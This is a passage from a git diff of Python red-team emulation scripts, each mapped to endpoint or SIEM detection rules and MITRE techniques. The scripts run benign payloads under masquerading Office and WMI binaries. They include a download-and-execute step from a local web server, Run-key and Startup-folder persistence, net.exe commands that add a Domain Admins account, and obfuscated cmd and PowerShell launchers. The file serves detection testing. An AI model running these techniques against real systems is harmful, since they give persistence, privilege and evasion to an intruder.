"C:\\Users\\Public\\a.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + common.copy_file(EXE_FILE, winword) + common.copy_file(PS1_FILE, ps1) + + common.log("Droping and Loading a.dll into fake winword") + common.execute( + [ + winword, + "-c", + f"Copy-Item {user32} {dll}; Import-Module {ps1}; Invoke-ImageLoad {dll}", + ], + timeout=10, + ) + + common.remove_files(winword, dll, ps1) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_file_drop_exec_wmi.py b/rta/msoffice_file_drop_exec_wmi.py new file mode 100644 index 000000000..2684d95be --- /dev/null +++ b/rta/msoffice_file_drop_exec_wmi.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ca0cc06d-6a8f-4d9b-a9c2-9315c62f924a", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Suspicious Execution via Windows Management Instrumentation", + "rule_id": "7e554c18-6435-41ce-b57b-d0ac3b73817f", + }, + {"rule_name": "Microsoft Office File Execution via WMI", "rule_id": "792411bd-59ef-4ac0-89be-786d52d1a5c8"}, + ], + siem=[], + techniques=["T1047", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + server, ip, port = common.serve_web() + url = f"http://{ip}:{port}/bin/renamed_posh.exe" + + winword = "C:\\Users\\Public\\winword.exe" + wmiprvse = "C:\\Users\\Public\\wmiprvse.exe" + dropped = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, winword) + common.copy_file(EXE_FILE, wmiprvse) + common.copy_file(EXE_FILE, dropped) + + cmd = f"Invoke-WebRequest -Uri {url} -OutFile {dropped}" + + # Execute command + common.execute([winword, "/c", cmd], timeout=10) + common.execute([wmiprvse, "/c", dropped], timeout=10, kill=True) + common.remove_file(winword) + common.remove_file(dropped) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_file_exec_script_interpreter.py b/rta/msoffice_file_exec_script_interpreter.py new file mode 100644 index 000000000..3354785af --- /dev/null +++ b/rta/msoffice_file_exec_script_interpreter.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="3206f2b2-c731-479f-a258-d486dac8a055", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Microsoft Office File Execution via Script Interpreter", + "rule_id": "54aabea0-3687-4ef1-b70c-015ca588e563", + } + ], + siem=[], + techniques=["T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "winword.exe" + common.copy_file(EXE_FILE, binary) + + # Execute command + common.log("Dropping executable using fake winword") + common.execute([binary, "/c", "copy C:\\Windows\\System32\\cmd.exe cmd.exe"]) + + common.log("Executing it using scripting program") + common.execute( + [ + "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", + "-C", + ".\\cmd.exe /c exit", + ] + ) + + common.remove_files(binary, "cmd.exe") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_reg_mod.py b/rta/msoffice_reg_mod.py new file mode 100644 index 000000000..e51dca639 --- /dev/null +++ b/rta/msoffice_reg_mod.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="61abdbb3-bcab-4c57-8b5d-2a5c9226e580", + platforms=["windows"], + endpoint=[ + {"rule_name": "Registry Modification via Microsoft Office", "rule_id": "926b6cd1-c0c7-46d4-82d6-9deb6ae431d6"} + ], + siem=[], + techniques=["T1547", "T1112", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + winword = "C:\\Users\\Public\\winword.exe" + common.copy_file(EXE_FILE, winword) + + cmd = ( + "New-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' " + "-Name Test -PropertyType String -value Testing" + ) + rem_cmd = "Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name Test" + + # Execute command + common.log("Fake ms word reg mod...") + common.execute([winword, "/c", cmd], timeout=10) + common.execute([winword, "/c", rem_cmd], timeout=10) + common.remove_file(winword) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_signed_binary_spawn.py b/rta/msoffice_signed_binary_spawn.py new file mode 100644 index 000000000..c03311f46 --- /dev/null +++ b/rta/msoffice_signed_binary_spawn.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="498c13e2-789c-4a6c-b32d-0589d2f907c2", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Signed Binary Execution via Microsoft Office", + "rule_id": "321e7877-075a-4582-8eff-777dde15e787", + }, + {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, + ], + siem=[], + techniques=["T1574", "T1218", "T1566"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + temposh = "C:\\Users\\Public\\posh.exe" + binary = "C:\\Users\\Public\\winword.exe" + common.copy_file(powershell, binary) + + # Execute command + common.log("Dropping executable using fake winword") + common.execute([binary, "/c", f"Copy-Item {powershell} {temposh}"], timeout=10) + + common.log("Executing it using fake winword") + common.execute([binary, "/c", temposh], kill=True) + + common.remove_files(binary, temposh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_startup_persistence.py b/rta/msoffice_startup_persistence.py new file mode 100644 index 000000000..edd9fff49 --- /dev/null +++ b/rta/msoffice_startup_persistence.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ea9a54fe-62ed-4825-b302-0ebbee22233f", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Microsoft Office Process Setting Persistence via Startup", + "rule_id": "2b8ea430-897d-486c-85a8-add9d7072ff3", + } + ], + siem=[], + techniques=["T1547", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Users\\Public\\posh.exe" + temp = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\temp_persist.exe" + binary = "C:\\Users\\Public\\winword.exe" + common.copy_file(EXE_FILE, powershell) + common.copy_file(powershell, binary) + + # Execute command + common.log("Writing to startup folder using fake winword") + common.execute([binary, "/c", f"Copy-Item {powershell} '{temp}'"]) + + common.remove_files(binary, temp) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_untrusted_exec.py b/rta/msoffice_untrusted_exec.py new file mode 100644 index 000000000..fa9a77656 --- /dev/null +++ b/rta/msoffice_untrusted_exec.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="9d5af763-b3f9-4b89-96b6-16e0210f9755", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Network Connection via Process with Unusual Arguments", + "rule_id": "95601d8b-b969-4189-9744-090140ae29e6", + }, + { + "rule_name": "Untrusted File Execution via Microsoft Office", + "rule_id": "bb23a662-2d75-4714-837d-4ec9c2e772a5", + }, + {"rule_name": "RunDLL32/Regsvr32 Loads Dropped Executable", "rule_id": "901f0c30-a7c5-40a5-80e3-a50c6744632f"}, + ], + siem=[], + techniques=["T1218", "T1036", "T1055", "T1566", "T1059"], +) + +EXE_FILE = common.get_path("bin", "regsvr32.exe") +EXE_FILE2 = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "winword.exe" + common.copy_file(EXE_FILE2, binary) + + # Execute command + fake_regsvr = "C:\\Users\\Public\\regsvr32.exe" + common.log("Dropping executable using fake winword") + common.execute([binary, "/c", f"copy {EXE_FILE} {fake_regsvr}"]) + + common.log("Executing it to create an untrusted child process") + common.execute([binary, "/c", fake_regsvr]) + + common.remove_files(binary, fake_regsvr) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_wmi_imageload.py b/rta/msoffice_wmi_imageload.py new file mode 100644 index 000000000..609b8ff62 --- /dev/null +++ b/rta/msoffice_wmi_imageload.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="d2671cc5-87d0-4612-9e3c-0862b137d242", + platforms=["windows"], + endpoint=[{"rule_name": "WMI Image Load via Microsoft Office", "rule_id": "46952f58-6741-4280-8e74-fa43f63c9604"}], + siem=[], + techniques=["T1047", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") + + +@common.requires_os(metadata.platforms) +def main(): + winword = "C:\\Users\\Public\\winword.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\wmiutils.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + wmiprvse = "C:\\Users\\Public\\WmiPrvSE.exe" + common.copy_file(EXE_FILE, winword) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(EXE_FILE, wmiprvse) + + common.log("Loading wmiutils.dll into fake winword") + common.execute([winword, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) + common.execute([wmiprvse, "/c", "powershell"], timeout=1, kill=True) + common.remove_files(winword, dll, ps1) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msxsl_image_load.py b/rta/msxsl_image_load.py new file mode 100644 index 000000000..a0fad0c36 --- /dev/null +++ b/rta/msxsl_image_load.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="cd549ba9-63be-4eff-ab6c-f567445e1977", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Script Execution via MSXSL", "rule_id": "de3615bc-4e50-485e-b3b5-8548ef6faa3d"}, + ], + siem=[], + techniques=["T1220", "T1218", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + msxsl = "C:\\Users\\Public\\msxsl.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\scrobj.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(EXE_FILE, msxsl) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(RENAMER, rcedit) + + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute([rcedit, msxsl, "--set-version-string", "OriginalFilename", "msxsl.exe"]) + + common.log("Loading scrobj.dll into fake msxsl") + common.execute([msxsl, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) + + common.remove_files(msxsl, dll, ps1, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msxsl_network.py b/rta/msxsl_network.py index a7e063f46..04f044b63 100644 --- a/rta/msxsl_network.py +++ b/rta/msxsl_network.py @@ -9,13 +9,24 @@ # Description: Generates network traffic from msxsl.exe from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a8331ff5-2199-48cf-9284-88351c859835", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "b86afe07-0d98-4738-b15d-8d7465f95ff5", "rule_name": "Network Connection via MsXsl"}], + techniques=["T1220"], +) + MS_XSL = common.get_path("bin", "msxsl.exe") XML_FILE = common.get_path("bin", "customers.xml") XSL_FILE = common.get_path("bin", "cscript.xsl") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(MS_XSL, XML_FILE, XSL_FILE) def main(): common.log("MsXsl Beacon") diff --git a/rta/net_user_add.py b/rta/net_user_add.py index e0e642579..a3f5f89ca 100644 --- a/rta/net_user_add.py +++ b/rta/net_user_add.py @@ -10,17 +10,29 @@ # Description: Adds an account to the local host using the net.exe command from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="7884fa56-c4d6-494f-bfa5-825851ee0fda", + platforms=["windows"], + endpoint=[], + siem=[ + {"rule_id": "41b638a1-8ab6-4f8e-86d9-466317ef2db5", "rule_name": "Potential Hidden Local User Account Creation"} + ], + techniques=["T1078"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Creating local and domain user accounts using net.exe") commands = [ 'net.exe user macgyver $w!$$@rmy11 /add /fullname:"Angus Macgyver"', 'net.exe user macgyver $w!$$@rmy11 /add /fullname:"Angus Macgyver" /domain', - 'net.exe group Administrators macgyver /add', + "net.exe group Administrators macgyver /add", 'net.exe group "Domain Admins" macgyver /add /domain', - 'net.exe localgroup Administrators macgyver /add', + "net.exe localgroup Administrators macgyver /add", ] for cmd in commands: @@ -28,7 +40,7 @@ def main(): cleanup_commands = [ "net.exe user macgyver /delete", - "net.exe user macgyver /delete /domain" + "net.exe user macgyver /delete /domain", ] common.log("Removing local and domain user accounts using net.exe", log_type="-") diff --git a/rta/network_connection_process_unusual_args.py b/rta/network_connection_process_unusual_args.py new file mode 100644 index 000000000..e983340a7 --- /dev/null +++ b/rta/network_connection_process_unusual_args.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="8c77b44c-fb6d-4082-b62d-147918c622d9", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Network Connection via Process with Unusual Arguments", + "rule_id": "95601d8b-b969-4189-9744-090140ae29e6", + }, + ], + siem=[], + techniques=["T1055", "T1036"], +) + +EXE_FILE = common.get_path("bin", "regsvr32.exe") + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Making connection using fake regsvr32.exe") + common.execute([EXE_FILE], timeout=10, kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/network_connection_unusual_rundll32.py b/rta/network_connection_unusual_rundll32.py new file mode 100644 index 000000000..2d9466c6f --- /dev/null +++ b/rta/network_connection_unusual_rundll32.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="1bb39cea-8bf2-4b1f-a70e-69f6074a1fb4", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Unusual Network Connection via RunDLL32", "rule_id": "2e708541-c6e8-4ded-923f-78a6c160987e"}, + ], + siem=[], + techniques=["T1055", "T1218", "T1036"], +) + +EXE_FILE = common.get_path("bin", "regsvr32.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "rundll32.exe" + common.copy_file(EXE_FILE, binary) + + common.log("Making connection using fake rundll32.exe") + common.execute([binary]) + common.remove_files(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/networksetup_vpn.py b/rta/networksetup_vpn.py new file mode 100644 index 000000000..9582fe084 --- /dev/null +++ b/rta/networksetup_vpn.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f9a34606-863d-46aa-b12d-eeeb68b530e3", + platforms=["macos"], + endpoint=[], + siem=[ + {"rule_name": "Virtual Private Network Connection Attempt", "rule_id": "15dacaa0-5b90-466b-acab-63435a59701a"} + ], + techniques=["T1021"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/networksetup" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake networksetup commands to connect to a VPN.") + common.execute([masquerade, "-connectpppoeservice"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/obfuscated_cmd_commands.py b/rta/obfuscated_cmd_commands.py index 312912d07..966cf448c 100644 --- a/rta/obfuscated_cmd_commands.py +++ b/rta/obfuscated_cmd_commands.py @@ -10,18 +10,22 @@ import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="7b88c558-f732-4ff4-adaa-09c79bf02bd2", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): # All encoded versions of the following: `start calc && ping -n 2 127.0.0.1>nul && taskkill /im calc.exe` commands = """ %comspec% /c "cm%OS:~-7,1% /c start%CommonProgramFiles(x86):~29,1%%PUBLIC:~-1%alc && ping -%APPDATA:~-2,-1% 2 127.0.0.1>nul &&%CommonProgramFiles(x86):~-6,1%taskkil%CommonProgramFiles:~-3,-2% /im %TMP:~-8,1%alc.exe cmd /c "%pUBLIc:~ 14%%PRogRamFIleS:~ 9, -6%%Os:~ 3, -6% /%pubLIc:~ 14, 1% s%TeMp:~ -13, -12%%aPPdATA:~ -11, 1%%prograMfILeS(x86):~ -18, 1%%tMP:~ -13, -12%%prOGRAMw6432:~ -6, -5%%PubliC:~ 14, 1%%Temp:~ -12, -11%%tMP:~ -6, 1%%pubLic:~ 14%%COmmONPRoGRaMfILes:~ 23, 1%&&%COMmOnPrograMw6432:~ -19, -18%%tmp:~ -17, 1%%ApPDatA:~ -3, 1%%CoMmONProgrAMW6432:~ 22, 1%%APPDaTA:~ -1%%PrOGramFILeS:~ -6, -5%-%aPPDaTa:~ -2, -1% 2%pROGRaMW6432:~ -6, -5%127.0.0.1>%apPData:~ -2, 1%u%ProGRaMW6432:~ -3, 1%%COMmoNPRogramFIles(X86):~ -19, -18%&&%PRoGRaMfILES:~ 10, -5%%ALlUsErspRoFiLe:~ 12, -1%a%COmmOnPrOgrAmw6432:~ 28, 1%kk%COmmONPRoGRAmFiles:~ -17, -16%%PUBLic:~ -3, 1%l%prOgrAmW6432:~ -6, 1%/%SyStEmRoOt:~ 4, 1%%COmMOnPROGramfiLeS:~ -9, -8%%prOGRaMW6432:~ 10, -5%%PUBlic:~ -1, 1%%aLlUSErSproFilE:~ -3, 1%%progRaMFIleS(X86):~ 13, 1%c.%tMp:~ -3, 1%x%PUBLiC:~ 5, 1% - cmd /C"set 29L= &&set naP=lc.ex&&set MLe=0.0.1^^^>nul&&set 9YKn=g -n 2 127.&&set DKy=cmd /c &&set WC= ^^^&^^^& taskkill /im&&set 4t8r=rt &&set Kn=e&&set Mx=ca&&set Ave=calc ^^^&^^^& pin&&set Ngsa=sta&&call set UB=%DKy%%Ngsa%%4t8r%%Ave%%9YKn%%MLe%%WC%%29L%%Mx%%naP%%Kn%&&cmd /C %UB%" - cmd /V:ON/C"set Qbd=exe.clac mi/ llikksat ^&^& lun^>1.0.0.721 2 n- gnip ^&^& clac trats c/ dmc&&for /L %B in (68,-1,0)do set Lk=!Lk!!Qbd:~%B,1!&&if %B lss 1 cmd /C !Lk:*Lk!=!" - cmd /V:ON/C"set Bhq=lsep0gxmu-cdatrk^&i2/n.^>7 1&&for %n in (10;7;11;24;19;10;24;1;13;12;14;13;24;10;12;0;10;24;16;16;24;3;17;20;5;24;9;20;24;18;24;25;18;23;21;4;21;4;21;25;22;20;8;0;24;16;16;24;13;12;1;15;15;17;0;0;24;19;17;7;24;10;12;0;10;21;2;6;2;36)do set bj6=!bj6!!Bhq:~%n,1!&&if %n gtr 35 cmd.exe /C!bj6:~-69!" - cmd /V:ON/C"set bc=cmd""b/cbstMHrtbcMHlcb^&^&bpi4gb-4b2b127.0.0.1^>4ulb^&^&btMHskkillb/imbcMHlc.nxn&&set MDi=!bc:MH=a!&&set J7HE=!MDi:n=e!&&set Ryxf=!J7HE:4=n!&&set o2=!Ryxf:b= !&&cmd.exe /C %o2%" + cmd /C"set 29L= &&set naP=lc.ex&&set MLe=0.0.1^^^>nul&&set 9YKn=g -n 2 127.&&set DKy=cmd /c &&set WC= ^^^&^^^& taskkill /im&&set 4t8r=rt &&set Kn=e&&set Mx=ca&&set Ave=calc ^^^&^^^& pin&&set Ngsa=sta&&call set UB=%DKy%%Ngsa%%4t8r%%Ave%%9YKn%%MLe%%WC%%29L%%Mx%%naP%%Kn%&&cmd /C %UB%" + cmd /V:ON/C"set Qbd=exe.clac mi/ llikksat ^&^& lun^>1.0.0.721 2 n- gnip ^&^& clac trats c/ dmc&&for /L %B in (68,-1,0)do set Lk=!Lk!!Qbd:~%B,1!&&if %B lss 1 cmd /C !Lk:*Lk!=!" + cmd /V:ON/C"set Bhq=lsep0gxmu-cdatrk^&i2/n.^>7 1&&for %n in (10;7;11;24;19;10;24;1;13;12;14;13;24;10;12;0;10;24;16;16;24;3;17;20;5;24;9;20;24;18;24;25;18;23;21;4;21;4;21;25;22;20;8;0;24;16;16;24;13;12;1;15;15;17;0;0;24;19;17;7;24;10;12;0;10;21;2;6;2;36)do set bj6=!bj6!!Bhq:~%n,1!&&if %n gtr 35 cmd.exe /C!bj6:~-69!" + cmd /V:ON/C"set bc=cmd""b/cbstMHrtbcMHlcb^&^&bpi4gb-4b2b127.0.0.1^>4ulb^&^&btMHskkillb/imbcMHlc.nxn&&set MDi=!bc:MH=a!&&set J7HE=!MDi:n=e!&&set Ryxf=!J7HE:4=n!&&set o2=!Ryxf:b= !&&cmd.exe /C %o2%" ^F^o^R ;, /^F ," tokens=+2 delims=I=0fU" ; ; %^k , ^In ; ( , ' ; ; ^^As^^SoC , ,.cmd', ; ); ^D^O ;%^k; ; BK ;4Gp/^r" ,, ( (^Set ^ ^\#=^^^^^^^>n), )& (se^t ^_'~=^.)&&( , , ,,, (^sE^t ^ [.^?=^ ) , , )& ( , (s^ET -^+@=^r) , )& (s^et ^$^~^`?=^k)&& (^sEt ^ ^@[~^$=^p)&& (s^Et ^ ^.{`^[=^0.1)&&(,(^set }^*^;_=^^^^^^^&) )&& ( ; ; (^se^t ^ ^'^][}=^l) ; ; )& (s^E^T ^ ^];^}#=^ )&&(^sEt ^ ^.^#^@=^i)& ( (SE^T ^ ^-^?+^{=^ ) )&( ; ; (^SeT ,^?^.^[=^ca) )& (sE^T ^*^',^+=^2)&& (S^E^t ^.^[=^u)&& (S^e^t \^~=^.)& ( , (^Se^T ^{#=^a) )&&( , (s^ET ^\$}^_=^c), )&(^s^e^T ^ ^_^-@`=^0)&( , , ,, , (s^E^T ^ ^}^;=s) )& ( (sE^T ^ ^{_=n) ,)&&( (SE^T ^ ~^,=^ ) )&&( ; (SE^T ^;~?^{=^a) )&& (^S^et ^ ^ `@^~^*=^x)& (s^eT ^+$=^t)&(^S^ET ^ ^$.^]=^t)&& (^S^Et @^[^,=^g)& ( (^S^Et *^\`=^.) )&& (SE^t ^]{=^e)& ( ,;, (^SeT ^'^[=^ ) , )&(^se^T ^ \-^,=k)& ( , (s^et ^ ^ _,^\=l) , , )&& ( (s^eT ^ #^`.=^l ) ; )&(^S^Et ^ -^`=^ )&& (S^ET *^}]^'=^e)&& (SE^t ^;^.*=2^7)&& (S^eT ^ *^;+=^ 1)&(^sET ^_#=^i^m)&( (s^e^T ^ ^[^{^]@=^^^^^^^&^^^^^^^&), , , , ,)&& (^s^E^t ^ ^.^#=l^c)&&(s^e^T ^ .^{=^c)&&(S^et ^.~^}_=^st)&& ( ,, , (^SE^T ^ ^}^+'=^ ) , )& (^seT ;^}@=^^^^^^^&)&&(^se^T [^*{=^ ^-n)& (^S^eT ^ -^*=^/)&( ; (S^E^T ^ ^]^\=^a) ; ; )& ( (^se^T ^ -^}_=^i^l) )&& , ; c^a^l^l ; SE^T +}=%^.~^}_%%^;~?^{%%-^+@%%^$.^]%%^-^?+^{%%,^?^.^[%%_,^\%%^\$}^_%%^}^+'%%^[^{^]@%%^];^}#%%^@[~^$%%^.^#^@%%^{_%%@^[^,%%[^*{%%^'^[%%^*^',^+%%*^;+%%^;^.*%%^_'~%%^_^-@`%%*^\`%%^.{`^[%%^\#%%^.^[%%#^`.%%}^*^;_%%;^}@%%~^,%%^+$%%^]^\%%^}^;%%^$^~^`?%%\-^,%%-^}_%%^'^][}%%[.^?%%-^*%%^_#%%-^`%%.^{%%^{#%%^.^#%%\^~%%^]{%%`@^~^*%%*^}]^'%& , ^CA^l^L ,, eC^H^O , ,%^+}%"| ;f^or; ; /^F; ; " delims=Vvl tokens= +3 " ,, %^3 , ^in ; ( ; , ' ,^^^^as^^^^S^^^^O^^^^c ; ^^^| ; ^^^^f^^^^ind^^^^s^^^^TR ; on^^^^X ', ) ; ; ^do; , %^3; """ # noqa: E501 commands = [c.strip() for c in commands.splitlines()] diff --git a/rta/obfuscated_powershell.py b/rta/obfuscated_powershell.py index 180ed7b34..ed92c4472 100644 --- a/rta/obfuscated_powershell.py +++ b/rta/obfuscated_powershell.py @@ -10,9 +10,13 @@ import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="a52a72cb-6fc7-48b2-b365-8479a6cdb2e6", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): # All encoded versions of the following: # `iex("Write-Host 'This is my test command' -ForegroundColor Green; start c:\windows\system32\calc")` @@ -25,7 +29,7 @@ def main(): i`ex("Write-Host 'This is my t`est co`mmand' -ForegroundColor Gr`een; start c`:\wind`ows\syste`m32\calc.e`xe") &( ([StrIng]$vERbosEpreFereNCE)[1,3]+'x'-JoiN'') ([char[]]( 105 , 101 ,120 ,40 ,34 , 87,114 ,105,116,101 ,45,72 , 111,115,116, 32 , 39,84, 104,105 ,115 ,32, 105 , 115, 32 , 109 ,121 ,32 , 116 ,101,115 ,116 , 32 , 99, 111,109 ,109, 97 , 110,100 , 39 ,32,45,70,111 ,114 ,101, 103 ,114 ,111 ,117 ,110, 100, 67 ,111 ,108 , 111,114,32, 71 ,114, 101, 101, 110, 59, 32, 115 ,116,97, 114,116, 32, 99,58 ,92 , 119,105 ,110 , 100 , 111 , 119 , 115,92 ,115 , 121 ,115, 116, 101,109, 51 , 50 , 92,99, 97, 108 , 99,46 , 101, 120,101 , 34,41) -jOIN'' ) " $( SET-vARiAble 'ofs' '' )"+[StRInG]('69>65n78g28g22R57R72>69R74u65g2dR48M6fn73R74V20%27V54n68M69>73n20%69u73V20>6dV79>20V74M65%73g74>20M63M6fM6dn6dV61g6eR64>27M20M2d%46n6fM72M65M67>72>6fn75u6eV64>43g6fV6cM6fn72M20u47n72M65>65>6e%3bR20R73%74V61R72V74u20R63M3an5c%77%69g6e>64%6fg77n73u5cV73V79n73V74>65M6dn33%32V5cV63g61V6cg63%2eg65%78n65%22>29'.spLiT('Mu>RV%gn')| % { ( [chAr]([coNVErT]::tOINT16( ([sTRING]$_ ) ,16 ))) }) +" $(SET-Item 'vARiable:OFS' ' ' ) " |& ( $verbOsePREFeRENce.tOstrING()[1,3]+'X'-JOIn'') - ${ }= +$(); ${ } =${ }; ${ }= ++ ${ };${ }= ++${ }; ${ }=++ ${ };${ } = ++ ${ };${ }= ++ ${ }; ${ } = ++ ${ };${ }=++ ${ }; ${ }= ++ ${ };${ } =++ ${ }; ${ } ="[" + "$(@{} ) "[ ${ }] + "$(@{})"[ "${ }${ }" ]+"$( @{} ) "["${ }${ }" ] + "$? "[${ }]+ "]";${ }= "".("$( @{ } ) "[ "${ }"+"${ }" ] + "$(@{})"["${ }" +"${ }"]+"$( @{ } )"[${ }]+ "$(@{ }) "[ ${ } ] +"$?"[${ }] + "$(@{ }) "[${ }] );${ } ="$(@{})"["${ }${ }" ]+ "$(@{})"[ ${ }] +"${ }"["${ }${ }"]; "${ }(${ }${ }${ }${ } + ${ }${ 